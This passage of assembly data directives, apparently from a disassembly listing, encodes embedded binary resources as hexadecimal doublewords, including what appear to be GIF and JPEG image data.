		dd 7F000A01h, 2C00h, 2B30000h, 70001DBh, 822C80FEh, 86858483h
		dd 2C2E2E82h, 898A8B8Ah, 92918F8Eh, 96959493h, 9A999897h
		dd 9E9D9C9Bh, 0A2A1A09Fh, 8898A4A3h, 878C838Eh,	0AEADACABh
		dd 0B2B1B0AFh, 89B0AAB2h, 0A8868FABh, 0B3BBBC88h, 2AADC0BFh
		dd 2CC3C4C3h, 0C5C8C72Ah, 0CECDCCCBh, 0C3D1D0CFh, 0D4D5D426h
		dd 0D9D9D62Ah, 0DEDDDC1Fh, 1B1BDDDFh, 0E6E5E21Fh, 0C1C8CAE2h
		dd 0EEA584EBh, 0F2F1F0EFh, 0BC8BA79Ch, 0B7ACB7ADh, 0F58DF9F3h
		dd 35FCF6EDh, 16AFE48Ah, 610883BBh, 0B0C84BA9h,	856143A1h
		dd 0B64B1616h, 8BB4A28Ch, 0AC5E3318h, 361A6D86h, 8A42DA8Eh
		dd 4C1F6ACh, 0C8E36E38h, 0E295389h, 18974B43h, 199CCA62h
		dd 4D2E6113h, 0DCE9F903h, 0CFA7B3C9h, 766F409Fh, 0A8B4487Ah
		dd 9348A3D1h, 0B4CA5C6Ah, 5091B369h, 1A9C9E49h,	73B9DC2Eh
		dd 0CA6552B9h, 0D7ABB419h, 8AC360AFh, 0A0CED9DDh, 210154C0h
		dd 0B39AE4E1h, 0FE7DD660h, 95712769h, 58EE8A74h, 0E2F10CB3h
		dd 0D0749BD3h, 597F55C2h, 0CCF74C4Dh, 1FC332C4h, 0D93496A1h
		dd 0AA55318Dh, 9E4AEEE6h, 0E5B2B94Ch, 6B3398CBh, 73B7DAEEh
		dd 3B4E8B44h, 0AD46E35Ah, 53C7E2E4h, 0CD5EAB37h, 0D7EBB5BAh
		dd 9D8F63B0h, 0E033D6ABh, 0A31DA568h, 6C1B2AA6h, 13BF170Ch
		dd 3C349705h, 0C5E1F052h, 0CE5F2B7Bh, 0C9F3B9BCh, 0E3DAD105h
		dd 0C518D44Bh, 930CD36Bh, 0B9FA9D2Ch, 85C94A70h, 9C718EFFh
		dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 678BDBF0h, 7D7D1F3Fh
		dd 9FE2EEF3h, 537E44E7h, 79FF4C78h, 480E027h, 765455D2h
		dd 0D4545D9h, 0A7F5F850h, 461083DFh, 1484E128h,	84A16856h
		dd 0DC07D9F7h, 0E8761C85h, 0F561815Eh, 124DBE7h, 51940882h
		dd 0D838A4C6h, 360D935h, 6DC6895Eh, 32721FB8h, 8DE3687Ah
		dd 0E3A8E638h, 8F63C8Eh, 7DF98861h, 448FA337h, 57A26876h
		dd 42FE1DB6h, 36453158h, 5093E4E9h, 94E52946h, 0E5695654h
		dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h,	0E6699664h
		dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h
		dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 925599AEh, 0E86A1684h
		dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 8FC8E43Eh,	0DBB770C7h
		dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h
		dd 0AAA6A8A9h, 0B6ACAAEAh, 0A4ABEAEAh, 7E88B356h, 0D560A82Eh
		dd 0AAE6B855h, 0F6BCAEEBh, 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h
		dd 0AB26C8B1h, 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6BFB56D4h
		dd 48D42A37h, 1C1F0B1Fh, 46118471h, 0B8EE2114h,	0EE6B96E4h
		dd 0ABA6E8B9h, 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h
		dd 0ABE6F8BDh, 0F6FCBEEFh, 0BFEFEBh, 0C0F02C07h, 0EDEB8303h
		dd 687EB307h, 1044B7EBh, 10C3C431h, 0C4F12C47h,	6C57FE14h
		dd 6718C5F1h, 1CC6F1ACh, 0C7F1EC77h, 0F22C8720h, 6C9724C8h
		dd 0A728C9F2h, 2CCAF2ACh, 0CBF2ECB7h, 0B0DCC330h, 907C4711h
		dd 982E7BEDh, 42C38464h, 0CFF3ECF4h, 0F42D0740h, 6D1744D0h
		dd 2748D1F4h, 4CD2F4ADh, 0D3F4ED37h, 0F52D4750h, 6D5754D4h
		dd 6758D5F5h, 5CD6F5ADh, 0D7F5ED77h, 84410C42h,	0AB692511h
		dd 6C260B1Eh, 4110B3B0h, 0DBF6EDB4h, 0F72DC770h, 6DD774DCh
		dd 0E778DDF7h, 7CDEF7ADh, 0DFF7EDF7h, 0F82E0780h, 6E1784E0h
		dd 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h, 0F6310841h, 0F0B02606h
		dd 141BB71Eh, 40DB0431h, 0E7F9EE74h, 0FA2E87A0h, 6E97A4E8h
		dd 0A7A8E9FAh, 0ACEAFAAEh, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh
		dd 0E7B8EDFBh, 0BCEEFBAEh, 0EFBBEEF7h, 0C4510F91h, 87BB9638h
		dd 0FF9CE6B9h, 0CCF2FCAEh, 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h
		dd 7AEF5FDh, 97C23C3Fh,	107C8393h, 2F87D8FEh, 97E4F8FEh
		dd 0E8F9FE6Fh, 0F5BEAFA7h, 7DDF13DAh, 0BF839BE6h, 0D7F4FCFEh
		dd 0F8FDFF6Fh, 0FEBFAFE7h, 0BC6F73EDh, 9FDBF1F7h, 0C0480700h
		dd 80F01A02h, 0FF5FCC08h, 0E39ED78Ah, 10813005h, 2704A08Ch
		dd 5A0AC148h, 7C0B73F0h, 0C82EF7DFh, 0F07A0EC1h, 210C2083h
		dd 3DB6C2F0h, 81C7B206h, 0AA113C9h, 16C2C857h, 198290BAh
		dd 52FC1FFCh, 0DA1AC2F8h, 0CC3886F0h, 0D862F521h, 50D20040h
		dd 0A20C4087h, 0C4488710h, 84F0F1D2h, 115F943Eh, 26C4C897h
		dd 4784313Ah, 950A0F5Ch, 5A2AC4F8h, 0BC588AF1h,	96CF145Fh
		dd 0F17A2CC4h, 0A30C608Bh, 9E98B6F4h, 8CF18A29h, 1AA34C68h
		dd 0F446475Fh, 708D7198h, 0D31CA38Ch, 0BCF3C6D8h, 0CC788E71h
		dd 58971EA3h, 71DCF347h, 0A40C808Fh, 47D85720h,	9071FCF2h
		dd 22A44C88h, 18C85813h, 9091721Ch, 0D724A48Ch,	4E47C8D7h
		dd 0CC9892F2h, 0FE4918E4h, 6E193EE8h, 0CA09350h, 577B28A5h
		dd 0F28E2EC9h, 654CA894h, 43394AEBh, 95F2AA2Ah,	2B2584B0h
		dd 5ACB193Fh, 0B39452DAh, 772DE07Ch, 0E648CBC9h, 0CBD87F2h
		dd 0F8F330A6h, 0F30E574Bh, 6344C898h, 0CCC99331h, 99718266h
		dd 34A68CCEh, 69CD089Bh, 399AF35Ah, 0B73626ACh,	6A154DC9h
		dd 0CE09BB3h, 29BF0567h, 0B39A72CEh, 0A73CE480h, 0BF59D73Ah
		dd 9DF3B274h, 3B9F24F0h, 7ACF49E3h, 9D78526Eh, 0ED2B61ECh
		dd 467ECFC9h, 0CFE9E6Fh, 76B40A8h, 0F41A81D0h, 282BABA0h
		dd 0D0CA1742h, 0A1B429D0h, 43E85D10h, 81514A23h, 18A2B44Eh
		dd 3345E7B5h, 6E77D1CAh, 3520A3B4h, 4A4347E7h, 0B48E6ED2h
		dd 0E6B528A4h, 0D2CA5349h, 0A5B4AE66h, 4BE61D30h, 5DD34A63h
		dd 38A6B4CEh, 0FD272595h, 0E65A4FA7h, 0DD2EA7F4h, 68A509A9h
		dd 151AA04Ah, 0AA3D3799h, 0D4992F52h, 91753AA5h, 54AA7D4Dh
		dd 0D5FE1905h, 98955AA9h, 2EA0D542h, 5055CAAFh,	60ABB556h
		dd 3D566655h, 9AB0D5B9h, 0ED63AA15h, 0CACF5969h, 15A6AA56h
		dd 0AB6CFB89h, 4F8ADD5Ch, 0A7D5C29Eh, 1CEBCD73h, 0BED7AABFh
		dd 7EAF9106h, 10DEC0Dh,	0B6C2D82Bh, 4D86B090h, 4ADF142Ch
		dd 0F62AB8D4h, 2C4455B1h, 430B2764h, 0B1D172C6h, 10ACCD94h
		dd 0CED9AB25h, 65B2D3A2h, 4767AA2Ch, 92CE435Bh,	33F6B4F6h
		dd 0AB576A2Dh, 0F6B2D53Eh, 2D73E5B5h, 3D8B676Ch, 0B6F6D2D9h
		dd 6E2DB3D3h, 0DD3CEB77h, 0BFB7F6F2h, 87702DF3h, 12E13BABh
		dd 504B8F7h, 8B451BADh,	0CFA6E6DCh, 2E8DCEB8h, 0DD2BA0EBh
		dd 0BA8E9EEAh, 0E8AECDD6h, 0EEDDABB0h, 0DEBB8E76h, 0C3782ED5h
		dd 92F1DD6Bh, 3DE6BA57h, 0ABD373AFh, 0B7B2E45Eh, 2F7DC4BDh
		dd 0DF2B817Ch, 0BEB6F2F9h, 7E2DC5F6h, 0FDDB4BF3h, 0FEB617F2h
		dd 36B2FFDh, 12D4602Ch,	3DA4C0B8h, 0AB3D8230h, 6B05FEE0h
		dd 0A60EC1B6h, 0C23842Ch
		dd 585309D9h, 0B0BE16B1h, 61AC3361h, 0C3B872C1h, 8830FD7Eh
		dd 11E22AF5h, 26C4B5CFh, 538A2B6Eh, 0B315D67Ch,	7E2EAC38h
		dd 2C635771h, 0B8D2ABE3h, 31BD53C6h, 0E3AA9F8Eh, 0C7B52F1Dh
		dd 902A3E3Eh, 21D40C83h, 46A73913h, 934D723Eh, 3298E4ACh
		dd 7D2DC9B9h, 2A539432h, 0B49729E5h, 290E56CAh,	0D1DCB396h
		dd 0A339732Dh, 4572FE5Eh, 88E62CC3h, 0DCCB992h,	259A333Dh
		dd 323B5CAAh, 55D1CD77h, 2A0D9C33h, 0B45B39E7h,	0B37C7ECDh
		dd 0E75B8F9Dh, 0CFB3F73Dh, 9E28D67Eh, 40E7A90Dh, 86D016FFh
		dd 13A2278Eh, 3B41D1EDh, 0BE8CD0B2h, 0AD23A2EDh, 5A5349CEh
		dd 0E4B68EA4h, 0E96B67A5h, 0D3B3874Dh, 0A669369Eh, 36A1D21h
		dd 0A5B31A8Fh, 0F1A9F006h, 0AF01EA9Ah, 36ADAD7Ah, 7A875D75h
		dd 0FAC75659h, 0B5BEA0B4h, 6BAD7334h, 0D7BAF267h, 0B035FCCCh
		dd 606AFA91h, 0C1FB0EFEh, 0B1E636C5h, 65EC2B33h, 0CED9B307h
		dd 0A3B425E6h, 5369CB7Dh, 0BED696BBh, 0AD674EB6h, 7B6B6355h
		dd 0B6FEC9C3h, 0EE2DC384h, 0DCBB930Ah, 0BA373E18h, 0B26DCDC1h
		dd 24DD7B7Ah, 3BC3756h,	7B79ED9Bh, 8EF6DE55h, 0FAD5BB77h
		dd 0B5B37CEEh, 2A66FEDEh, 0E2AE03BEh, 0C5BC1381h, 8C383F06h
		dd 19F0AE13h, 36E1BC33h, 73C4387Eh, 0F389F12Ch,	0FF16E2B8h
		dd 2E33C631h, 0BC738DE4h, 38FF1EC8h, 0F22E4392h, 0E4BC9325h
		dd 0CA393E4Eh, 95F2ACA3h, 2EE5B953h, 63CC32BFh,	0D399E5AEh
		dd 0BF36CBBCh, 0AE739839h, 0BCF331F3h, 0EE5666E7h, 6A8CF20Ch
		dd 0DF7C8FA0h, 0F8199E7h, 0A36B6E88h, 398B74D3h, 9D2C1F0h
		dd 3FA7745Dh, 0E039B19Dh, 0FEA60FC1h, 1D5BAAE8h, 41CC47A6h
		dd 8390700Eh, 0D61D301Fh, 0BB79675Fh, 19F64065h, 3A0720CCh
		dd 0D3BF7B38h, 0B776F32Eh, 9832065Dh, 0DEA9DC41h, 0FEA3BA74h
		dd 1F628334h, 9EF20C7Ah, 0DB2BB903h, 0A9DF7FEFh, 832EC80Bh
		dd 0F0DDBCE3h, 3E3ABF88h, 1983404Dh, 3111FE34h,	0D1DF3C78h
		dd 0B9AF91Eh, 0C03003EFh, 0BF32717Bh, 0BDF7AEF7h, 0DE1738F3h
		dd 8925660Ah, 0F200F3BCh, 0F6A967A8h, 0C195C1A8h, 0B1F61D97h
		dd 6DE7FC4Fh, 8BCC9396h, 27B9F71Dh, 5030F6A9h, 0BED88192h
		dd 3E0FC0F0h, 0B94F8748h, 0F087016Ch, 0F2BE4F8Dh, 0A3DAA39h
		dd 0A411AE50h, 0A7F4BC17h, 5FEAD18Fh, 5FBFF9FFh, 1FB9D7AEh
		dd 0BF59E174h, 7BD78372h, 7E3CDDF4h, 8499A7F2h,	0F40177E7h
		dd 0F779CD6Bh, 2AFBD433h, 0B40E3CC8h, 0DBD3FE2Fh, 87D5A11Fh
		dd 7E103230h, 0FF7737F4h, 44246747h, 76F02E7Ch,	0ED5A17EBh
		dd 28088077h, 317C43Ch,	0E80D039h, 78107FE8h, 77979367h
		dd 197876EEh, 80458118h, 6DD03430h, 1A81F81Eh, 90260458h
		dd 7F581721h, 0DA4FE826h, 0D8240C63h, 27FEEF82h, 6B41263Ch
		dd 3280682Bh, 97004F58h, 73F5A583h, 3B4D883Ch, 0E58783F8h
		dd 4D384283h, 0DE845841h, 0E8488444h, 84B84A6Bh, 4E84D6C1h
		dd 0D7486C48h, 85181858h, 5853698h, 78568258h, 85B8474Eh
		dd 5E85D41Ch, 18604168h, 85859586h, 6485A837h, 98634E08h
		dd 86B41186h, 5048C86Ch, 16D886F8h, 6DB87287h, 75831425h
		dd 987485C8h, 86E4A987h, 7E40387Ch, 13FB87F8h, 40A88288h
		dd 0A188587Bh, 98888844h, 88B8875Ah, 8E88A499h,	18903F38h
		dd 88D5AD89h, 93492894h, 93E78978h, 5B189A89h, 8A89D896h
		dd 28A089C4h, 8A38A23Eh, 0A689F5B5h, 0D8775748h, 5418A981h
		dd 2C7FD866h, 54B68AD8h, 5B98B28Ah, 588B58A8h, 57EC8AF5h
		dd 4AA8B885h, 0CF8BD8B4h, 0D8C08BF3h, 8C38C23Ch, 0C68C53CBh
		dd 98B75C18h, 8C846A8Ch, 0CE3BC8CCh, 0B5C58CF8h, 4628D28Ch
		dd 0B78D58D1h, 98D88D73h, 0B8BAFE5Ch, 4B88DB7Dh, 598DF8D4h
		dd 18E28DA4h, 8E58E43Bh, 0E88E146Ch, 0B8EA5918h, 8E744E8Eh
		dd 0ED5098EEh, 347C8F18h, 4448F48Fh, 0D78F78F0h, 0F8FA8F65h
		dd 8FD8FC57h, 8F943Ah, 39023A39h, 8FF50E90h, 5436906h
		dd 0B39E9099h, 4090C90h, 1190C90Eh, 69139099h, 90391590h
		dd 19900917h, 0A91B8FD9h, 8F791D8Fh, 958F491Fh,	0F8BC1864h
		dd 48D47290h, 25339032h, 0D4709269h, 3376F47h, 2B02802Fh
		dd 0D8CD92C9h, 3B03D66h, 0B6032038h, 29349332h,	398BA56h
		dd 182DC796h, 693D93C0h, 79766D8Dh, 4400F369h, 0D4CF9459h
		dd 2B608966h, 0B194A018h, 0A93594C8h, 1F0C48Bh,	5494B951h
		dd 366D8E39h, 9529580Dh, 6795B838h, 0E95E4754h,	96295A12h
		dd 0D8964456h, 89670DD0h, 96A44F96h, 539430D7h,	694D96E9h
		dd 2E0C395h, 6D01401Fh,	0A44C9749h, 2C03296h, 6896001Bh
		dd 445F97C8h, 678D96FEh, 0D01802h, 0F898497Bh, 997F9478h
		dd 98B00A97h, 4759B98Ch, 29902B59h, 44099399h, 1936847Dh
		dd 39910140h, 8EC99997h, 0E43688BAh, 199F0120h,	96F9A196h
		dd 1B12695Dh, 99989A60h, 66D5839Ah, 0A79AD18Ch,	0F9B09839h
		dd 0E166D8Eh, 0B79A09AEh, 0A8BA8F59h, 9BD9B59Bh, 289BF946h
		dd 29A89BB1h, 9C498D9Ch, 0C89C19A5h, 59B99859h,	9CD9CC9Ch
		dd 0B49CA95Ch, 99D29AF9h, 9C69D484h, 0FE9D79B6h, 0C9D19D98h
		dd 8AB9A29Dh, 220221EAh, 0E01B01E0h, 9E09D699h,	0DC47541Fh
		dd 0C98A0141h, 9B19EA9Bh, 59126976h, 0D9F19F09h, 8F8BA83h
		dd 0F79E9950h, 24754179h, 9829F408h, 0BA9B89FDh, 79EF9ED8h
		dd 42EA039Ch, 0EE18C9ECh, 3A099FC9h, 0DCA0B41h,	0F9F6A0Dh
		dd 99E29D8Ah, 0A0EA061Eh, 11410A15h, 0BA07979Ah, 484A1B9Dh
		dd 1FA0C9B2h, 0D443A21Ah, 0A08A13A1h, 28420A26h, 0FE2BA25Ah
		dd 2A2399AAh, 0A2FA2EA1h, 1EA314D9h, 0A34A1AAh,	0A29A3688h
		dd 1DA39A20h, 0EA38A2D4h, 0A3B3FCA3h, 2FA42A33h, 6A14A404h
		dd 0A23A10A4h, 4AA41A01h, 0BA0588CAh, 97201B96h, 12A4FA2Ah
		dd 60829644h, 0A4E01F2Bh, 4E892A56h, 0C9961C09h, 895A5DA5h
		dd 337798BAh, 997A9780h, 407A63A4h, 0D8743475h,	0BA629E70h
		dd 66D89BA6h, 69369A59h, 6A72A55Ah, 2959FF40h, 79A6AA70h
		dd 0C9A3A3AAh, 0A3DA77A7h, 3BA7AA7Fh, 23673375h, 0A85A71A8h
		dd 66A878A4h, 0EA8A4863h, 886A8CA7h, 65A88575h,	3A78A914h
		dd 0A95A43A9h, 9848EA8Fh, 3A9AA84Ah, 452A8E88h,	0A0A54A7Ch
		dd 5A94AA1Ah, 0A967C404h, 0A4A0046Eh, 9A6CAA86h, 0A9D33680h
		dd 8BA5A0F6h, 28B6AB0Ah, 1EBAB381h, 0B70D40B9h,	24FFAB8Ah
		dd 476AACABh, 2A02D08Fh, 1AC0ABF0h, 836AC28Ch, 2F7781E3h
		dd 9A92A5B0h, 0ACB5CFACh, 322DAA60h, 33FE0360h,	2AD2AAF0h
		dd 0C8ABAAAh, 36033095h, 0F2B60360h, 0A9BADB80h, 957BCAAAh
		dd 60360390h, 0AE5AE499h, 0E87C33F8h, 0F036094Ah, 0AC8AE31Bh
		dd 0DD8CAAEEh, 0C21B1B4Ah, 0AF7AF6AEh, 95AB24A4h, 51FD0953h
		dd 0AFEAD1AFh, 0C57E6A8Dh, 0AAF4B027h, 3F4B06ADh, 2FB01801h
		dd 0DB05AFC2h, 7DE3D7B0h, 31B4395h, 4B14B0CBh, 7E7045A6h
		dd 0B798165h, 3B1BAEDBh, 7D77E6ADh, 12B20175h, 7B23A99Bh
		dd 0B17B258Ah, 0FBA60B1Fh, 7B2BB139h, 7CDB1D4Fh, 31092100h
		dd 5B33B2ABh, 181B163Dh, 0A7B39B27h, 43ECB3BAh,	0B3600F42h
		dd 400B7087h, 4AEFB42Bh, 0B8AABB4h, 4AB4908Ah, 0F045A50Bh
		dd 0B47B4D00h, 0FD958B4Fh, 0A3B0B51Ah, 7C5B543Dh, 580C7B56h
		dd 7B5AB32Bh, 125B4C8Ch, 601651D6h, 0EB63AA6Bh,	188B65B0h
		dd 61B48181h, 4B6BB3ABh, 0D4248Ch, 7FB6E7C4h, 3B6AB701h
		dd 0DB1CB7h, 13B66014h,	500FFE51h, 0A3E8B7CBh, 0DCB7E3Dh
		dd 71B820CCh, 0CB84B41Bh
		dd 0B7FB863Ch, 2902A020h, 9B7A1150h, 3A8B8DB5h,	7F0103DAh
		dd 3B9301FBh, 0B70C5B9h, 97B969F4h, 0BB993A6Bh,	0B9E0D4B9h
		dd 0A10F60C4h, 8BA3B62Bh, 0A3DA3Bh, 20019014h, 8029BA70h
		dd 126083BAh, 0ADBA201Ch, 6424904Bh, 0BB201200h, 0A9BB50D5h
		dd 0CBB9AAEBh, 8DCBBBBAh, 1BBBE045h, 3BCC0200h,	0B9E026BBh
		dd 0C501FA75h, 9BC7B72Bh, 0BBE3DA3Bh, 0CEBCD015h, 5029BB5Bh
		dd 0BD301BA7h, 0D3BD5B8Ch, 20083C28h, 0BDABD901h, 0DEBDC020h
		dd 1BE2BE0Bh, 83DA3Eh, 0E8BE7010h, 0ABEBBB5Bh, 5DFBEDBBh
		dd 0E8BF1BBDh, 5BDEBDABh, 0BF7BF601h, 18010BD7h, 9BCDBFB0h
		dd 0A830E4A5h, 0F9B15BF7h, 0C04C03Bh, 0A7DC0602h, 0B3C09BD4h
		dd 2015C013h, 0C0FC04BBh, 3BC12C08h, 0DC15BF94h, 0BFFC18C0h
		dd 16C14BEDh, 6C1FBFBCh, 5D3C1ABCh, 1EBBFBF9h, 10B60CFEh
		dd 2C27BE1Ch, 6BD73Bh, 21BE8BFAh, 9C2CB910h, 3D0C2FC1h
		dd 320053DAh, 1BCDC23Ch, 0C802102h, 38BD2029h, 45BDC39Ch
		dd 0C33C3C42h, 35C35BCCh, 290C3Ch, 1201C02h, 3BBE2C20h
		dd 0BF2C32Ch, 0BCCC3502h, 52C500D3h, 0BC46C26Ch, 43C28Fh
		dd 40BDAC56h, 995EC40Ch, 0C11C5D01h, 618F2C5Fh,	5C3EC56Ch
		dd 0C69C67C6h, 28C6BC2Eh, 9BF1C6DCh, 0C70C2301h, 68126029h
		dd 5BD5C53Ch, 0BBF010C5h, 6501DC16h, 0F020BB5Ch, 0C5EC7D01h
		dd 76BBCC74h, 1ABBFCh, 0C9101D02h, 26BB5C91h, 0AC890200h
		dd 0C60C8BC6h, 81C62045h, 901A015Ch, 0C8601DC7h, 72018020h
		dd 2B64C99Ch, 0C320033Ch, 20C78BE6h, 2C9201A0h,	0A0201CCAh
		dd 45AF8CA6h, 9BD8CA90h, 0C90C9F01h, 0B001A01Dh, 7C7E010Ch
		dd 0CB63DABCh, 0B8C15BE6h, 0FCBCC90Ch, 15020C4h, 0B3C8ACBEh
		dd 242490DCh, 0CC5CC4CCh, 0FEC8F01Ah, 0BFCCACC8h, 6CC1BBBCh
		dd 0CC4C5600h, 0E9CBBCD3h, 0CCD6BCCBh, 910CCDCCh, 0F1CDACCFh
		dd 4CD3CD1Bh, 0CCBCE0CDh, 7CE3C98h, 5C49CA89h, 0CD3CE801h
		dd 13020CDFh, 0EC73CEC0h, 45C8CCEh, 0ABC49002h,	0DCE9C78Ch
		dd 0CF701DBCh, 0DABADCD7h, 2CAACFD3h, 0D01C9ECFh, 0F8D03BCCh
		dd 73BBCFACh, 0CF2CFED0h, 8FCE9017h, 0E013D0DCh, 0BA3D0500h
		dd 17CAAD12h, 6D0CD140h, 0D1BD19C9h, 81D1DB97h,	7015D1FCh
		dd 0D17CB801h, 10D0FD22h, 2424BD6Dh, 12C9C00h, 19D14013h
		dd 0D0170170h, 0D2EC68BCh, 318D9D2Fh, 0F012D33Dh, 1AD38D1h
		dd 3BC59017h, 7B8DD24Dh, 0D42D40D0h, 58D39D15h,	0DCE2D47Ch
		dd 0CAAD4ACCh, 38D29D41h, 21D4EDh, 0D3DCEDD5h, 9C0013DAh
		dd 7D41C81Ch, 0C40D45D5h, 3DCF9D5Ah, 0E3C2CCEDh, 0D60C32D5h
		dd 65D62013h, 0C01201ACh, 3B4D67D3h, 12D40D5Dh,	8D38D610h
		dd 1A021C5h, 0D1FEA011h, 75CB3D51h, 0DD77D6BDh,	0D7AD57D6h
		dd 5BD7ED7Ch, 0AD81D2FDh, 0D84013CAh, 87C35D79h, 1B84D48Dh
		dd 0D95010D8h, 0CDD62D8Dh, 2D7D015Bh, 0D94B7CD9h, 97011D95h
		dd 0BCE0D79Dh, 0CA6D7FD9h, 11010D8Bh, 9DA1DA00h, 0D88D9AC5h
		dd 0DAD73D66h, 8CB60003h, 0D34011DAh, 0A4DACD57h, 0DD10D89Dh
		dd 0DA8DB3D5h, 13D6DD34h, 0FDB9D990h, 0DBCD67DAh, 8DDB4CE6h
		dd 7D0DD8DDh, 601101h, 0C6B73D9Ch, 9DA8D6BDh, 0C90DC1DCh
		dd 0A5DCEDCCh, 3DB1C99Dh, 11C3C00h, 0B8DD4DBEh,	0BDCF00BDh
		dd 0C3CDBCB6h, 0E0D9F00Eh, 2DCCBCCDh, 0C8BDD9DEh, 0E8C49DDBh
		dd 0DC35DC9Dh, 0DE3DEB01h, 0D2DE5B63h, 0D8DDAADh, 11DF4C4h
		dd 0FADBADECh, 3D95DD1Ch, 21DF2DDh, 0C4DFFDFDh,	1424D5CDh
		dd 0DF9DDC00h, 0F5E06DE0h, 8C74DEDDh, 0DA0E03DFh, 11DFCE16h
		dd 2CEEE00Eh, 0DA9DE8E0h, 37C35011h, 0ADF6DFEDh, 0E1EE1CB5h
		dd 81E021Eh, 3B00h, 0
		dd 38464947h, 2926139h,	0AE30050h, 0F2ECE100h, 0E8F5F0E8h
		dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh
		dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h
		dd 2C00h, 2920000h, 4000050h, 7C9F0FEh,	0EB38BDAAh, 60FFBBCDh
		dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 6D74CF2Ch,	804D39Fh
		dd 0C0FCA1C4h, 2C4870A0h, 0A4C88F1Ah, 3A6CC972h, 74A8D09Fh
		dd 0AF5AAD4Ah, 0CB76ACD8h, 0E0BF7AEDh, 2081E6h,	0B4E106E8h
		dd 0BB6ECD7Ah, 7CB8F0DFh, 89DBAF4Eh, 7043F303h,	80FFFBEFh
		dd 84838281h, 16A8685h,	8C870614h, 908F8E8Dh, 85939291h
		dd 94081505h, 9C9B9A99h, 839F9E9Dh, 0A4A01508h,	0A8A7A6A5h
		dd 0AAA3A6A9h, 0B0AFAEADh, 0AC5DB2B1h, 0B8B7B6B3h, 0B5A5BAB9h
		dd 0C0BFBEBBh, 0BD70C2C1h, 0C8C7C6C3h, 0C544CAC9h, 0D0CFCECBh
		dd 0D2CDAAD1h, 0D8D7D6D5h, 0DCD9D485h, 5FDFDEDDh, 0E4E3E0DBh
		dd 0E245E6E5h, 0ECEBEAE7h, 0F0EDE9D5h, 0EFBEF2F1h, 0F8F7F6F3h
		dd 0FCF9F5A7h, 0FB8FFEFDh, 481C09FEh, 82C04EB0h, 0A42A1308h
		dd 0C3A16005h, 1CB71087h, 62B1488Ch, 331689C5h,	71882C6Ah
		dd 0FE8FC7A3h, 1C823AF7h, 0C89CF249h, 66532892h, 0A5B2A93Bh
		dd 5F2C65CBh, 2BF99CCAh, 389BCD26h, 0C9CCD963h,	86AF27B3h
		dd 0B50A833Eh, 0D1A873B5h, 228A87A3h, 8FB4CA5Dh, 0A350A6D2h
		dd 0B52A79BAh, 578655AAh, 43B56AB3h, 0AFD7AB75h, 1D82BA4Ah
		dd 0D888164Bh, 9EBD68B2h, 0EAD6CB4Dh, 9B70B6DAh, 0D74B8DBEh
		dd 78BADCE8h, 0CBCDDE7Bh, 0BEDEE697h, 0DFE5B80h, 0E0E4984Ch
		dd 1E3788C2h, 0E298CC4Eh, 1790C6E2h, 994C8E3Eh,	98CAE4E0h
		dd 0CCCE5DFBh, 0CEE6DED9h, 0E7DDBA0h, 0E8DCDA4Dh, 9DBFA8D2h
		dd 0DB1ACD4Eh, 0A3B0D6EAh, 5B4D8EBDh, 0B8DAECD9h, 0CDCEDD87h
		dd 0DED01E9Bh, 0EFF35C0h, 0F0F3DC4Eh, 1F45C8E2h, 0F4DCCE4Fh
		dd 55D0E6F2h, 0DD4E8F3Fh, 0D8EAF4F5h, 0CECF5F65h, 0EEF6F6DDh
		dd 0F7F75E0h, 0F977DE4Fh, 0A376C7F3h, 3D477F5Fh, 2E72F7FBh
		dd 2B3F9FC1h, 0F4458541h, 0B4B2BBF3h, 54FFBF47h, 802A5089h
		dd 7E047FC6h, 3C0E8792h, 82E050F8h, 46518C91h, 20DC120Eh
		dd 561484E1h, 1885E168h, 86E1A866h, 0E1E8761Ch,	10E41887h
		dd 3B0001h, 0
		dd 0E0FFD8FFh, 464A1000h, 1004649h, 48000101h, 4800h, 4300DBFFh
		dd 1010100h, 0Fh dup(1010101h),	0DBFF01h, 1010143h, 0Fh	dup(1010101h)
		dd 0C0FF0101h, 81100h, 32F002Dh, 2002201h, 11030111h, 0C4FF01h
		dd 100001Fh, 1010105h, 10101h, 0
		dd 1000000h, 5040302h, 9080706h, 0C4FF0B0Ah, 10B500h, 3030102h
		dd 5030402h, 40405h, 17D0100h, 4000302h, 21120511h, 13064131h
		dd 22076151h, 81321471h, 2308A191h, 15C1B142h, 24F0D152h
		dd 82726233h, 17160A09h, 251A1918h, 29282726h, 3635342Ah
		dd 3A393837h, 46454443h, 4A494847h, 56555453h, 5A595857h
		dd 66656463h, 6A696867h, 76757473h, 7A797877h, 86858483h
		dd 8A898887h, 95949392h, 99989796h, 0A4A3A29Ah,	0A8A7A6A5h
		dd 0B3B2AAA9h, 0B7B6B5B4h, 0C2BAB9B8h, 0C6C5C4C3h, 0CAC9C8C7h
		dd 0D5D4D3D2h, 0D9D8D7D6h, 0E3E2E1DAh, 0E7E6E5E4h, 0F1EAE9E8h
		dd 0F5F4F3F2h, 0F9F8F7F6h, 0C4FFFAh, 300011Fh, 2 dup(1010101h)
		dd 1, 1000000h,	5040302h, 9080706h, 0C4FF0B0Ah,	11B500h
		dd 4020102h, 7040304h, 40405h, 770201h,	11030201h, 31210504h
		dd 51411206h, 13716107h, 8813222h, 0A1914214h, 2309C1B1h
		dd 15F05233h, 0AD17262h, 0E1342416h, 1817F125h,	27261A19h
		dd 352A2928h, 39383736h, 4544433Ah, 49484746h, 5554534Ah
		dd 59585756h, 6564635Ah, 69686766h, 7574736Ah, 79787776h
		dd 8483827Ah, 88878685h, 93928A89h, 97969594h, 0A29A9998h
